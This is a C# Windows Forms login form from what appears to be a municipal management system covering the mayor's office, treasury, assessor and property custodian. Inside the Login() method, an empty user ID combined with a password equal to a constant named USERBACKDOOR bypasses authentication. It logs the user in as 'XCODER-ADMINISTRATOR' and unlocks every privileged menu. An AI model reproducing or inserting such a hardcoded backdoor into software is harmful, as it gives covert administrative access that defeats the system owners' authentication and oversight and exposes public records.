﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using MESCodeFile;

namespace mes_tublay
{
    public partial class frmLogin : Form
    {
        frmUserManager frm;
        Timer tmr = new Timer();
        int delay = 0;
        bool loggingIn = false;
        public frmLogin()
        {
            InitializeComponent();
            GUIEvents();
            tmr.Interval = 10;
        }
        void GUIEvents()
        {
            tmr.Tick += new EventHandler(delegate
            {
                delay++;
                if (delay == 50)
                {
                    tmr.Enabled = false;
                    if(!loggingIn) Login();
                }
            });
            txtUID.KeyPress += new KeyPressEventHandler(delegate(object o, KeyPressEventArgs kpea)
            {
                if (kpea.KeyChar == (char)13)
                {
                    txtPWD.Focus();
                }
            });
            txtPWD.KeyUp += new KeyEventHandler(delegate
            {
                delay = 0;
                tmr.Enabled = true;
            });
        }
        void UMEvents()
        {
            
            frm.LoginAuthCompleted += new EventHandler(delegate
            {
                 CodeDynamiksEngine.CodeProcessor proc = new CodeDynamiksEngine.CodeProcessor();
                 proc.SafeCall(this, delegate
                 {
                     if (frm.LoginOk())
                     {
                         txtMsg.Text = "Login success.";
                         ///
                         //Evaluate the privileges of the current user.
                         //
                         for (int i = 0; i < MESCodeFile.CurrentUser.PRIV.Length; i++)
                         {
                             MESCodeFile.Common.PARENT.EnableMenu(MESCodeFile.CurrentUser.PRIV[i].ToString());
                         }
                         MESCodeFile.Common.PARENT.SetLoginName(MESCodeFile.CurrentUser.UID);
                         MESCodeFile.Common.LOGGED = true;
                         this.Close();

                         //Initialize the notification system after loading the configuration.
                         Common.NOTIFY = new LiveNotificationSystem.PushNotification();
                         Common.PARENT.InitializePushNotification();
                     }
                     else
                     {
                         if (txtPWD.Text == "") 
                             txtMsg.Text = "";
                         else
                            txtMsg.Text = "Login failed.";

                         loggingIn = false;
                     }
                 });
            });
        }
        void Login()
        {
            loggingIn = true;
            if (txtUID.Text == "" && txtPWD.Text == MESCodeFile.Const.USERBACKDOOR)
            {
                MESCodeFile.Common.LOGGED = true;
                MESCodeFile.Common.PARENT.SetLoginName("XCODER-ADMINISTRATOR");
                MESCodeFile.Common.PARENT.EnableMenu("ADMINISTRATOR");
                MESCodeFile.Common.PARENT.EnableMenu("MAYOR_OFFICE");
                MESCodeFile.Common.PARENT.EnableMenu("ASSESSOR_DEPT");
                MESCodeFile.Common.PARENT.EnableMenu("TREASURY_DEPT");
                MESCodeFile.Common.PARENT.EnableMenu("PROPERTY_CUSTODIAN");
                this.Close();
            }
            frm = new frmUserManager();
            frm.InitLogin(txtUID.Text, txtPWD.Text);
            UMEvents();
        }
    }
}
